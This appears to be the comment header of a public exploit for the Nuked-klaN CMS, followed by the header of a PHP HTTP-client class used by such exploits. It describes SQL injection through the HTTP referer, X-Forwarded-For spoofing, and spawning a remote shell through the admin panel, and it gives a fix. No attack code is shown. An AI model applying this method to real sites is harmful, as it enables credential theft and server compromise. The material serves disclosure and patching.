# Name: Nuked-klaN <= 1.7.7 and <= SP4.4 Multiple Vulnerabilities Exploit

# Special thanks to Louis for remembering me I had to finish it =)
#
# VULNERABILITY DETAILS
# ---------------------
#
# Nuked-klaN suffers from a vulnerability due to HTTP_REFERER, which is not
# correctly filtered before being inserted in nuked_stats_visitor table.
#
# If HTTP headers are not addslashes()'d by PHP, it could lead to a INSERT
# SQL injection.
#
# In function view_referer() (visits.php), referers are extracted from the
# database to perform an other SQL query, without being secured in between.
# This leads to a blind SQL injection.
#
# Theses injections are only possible if Nuked-klaN (NK) considers us as a
# new user, because else it won't touch the nuked_stats_visitor table.
# For this, we can use X-Forwarded-For HTTP header to specify NK a new IP,
# to be considered as a new user, and therefore access the database.
# NK automaticaly tries to resolve our host (using gethostbyaddr()), and it
# could be very long if the IP is not corresponding to a real one, because
# the default timeout is ~3 seconds, and that's very unconvenient for blind
# SQL injection.
# In order to solve this, we can try to generate IPs that might be valid,
# using, for example, a known BASE (the first two numbers), and randomizing
# the two other numbers.
#
# Stats can be disabled, or not accessible for users or visitors.
# In the last case we can't get query results, so the unique way to inject
# is BENCHMARK method, but this implies that the headers are not addslashed
# by PHP, but this method is not implemented in this exploit.
#
# If we got an admin session or login, we can spawn a remote shell/uploader
# using the NK "MySQL administration", but PHP safe_mode must be disabled.
#
# This exploit uses all these vulnerabilities to spawn a shell/uploader or
# to simply obtain admin credentials.
#

# +->| Login as admin and spawn an uploader or a shell |
# | using "MySQL administration" |
# +-------------------------------------------------+
#
# SOLUTION
# --------
# The best way to secure your Nuked-klaN is disabling stats using the admin
# panel.
# If you wan't to keep stats activated, you have to addslashes HTTP_REFERER
# in nuked.php and in visits.php.
#
#
# THIS IS FOR EDUCATION PURPOSES ONLY, as usual.

* TITLE: PhpSploit Class
* REQUIREMENTS: PHP 4 / PHP 5
* VERSION: 2.0
* LICENSE: GNU General Public License
* ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt
* FILENAME: phpsploitclass.php
*
* CONTACT: [email protected] (french / english)
* GREETZ: Sparah, Ddx39
*
* DESCRIPTION:
* The phpsploit is a class implementing a web user agent.
* You can add cookies, headers, use a proxy server with (or without) a
* basic authentification. It supports the GET and the POST method. It can
* also be used like a browser with the cookiejar() function (which allow
* a server to add several cookies for the next requests) and the
* allowredirection() function (which allow the script to follow all
* redirections sent by the server). It can return the content (or the
* headers) of the request. Others useful functions can be used for debugging.
* A manual is actually in development but to know how to use it, you can
* read the comments.
*
* CHANGELOG:
*
* [2007-06-10] (2.0)
* * Code: Code optimization
* * New: Compatible with PHP 4 by default
*
* [2007-01-24] (1.2)
* * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
* * New: multipart/form-data enctype is now supported
*
* [2006-12-31] (1.1)
* * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
* * New: You can now call the getheader() / getcontent() function without parameters
*
* [2006-12-30] (1.0)
* * First version
*
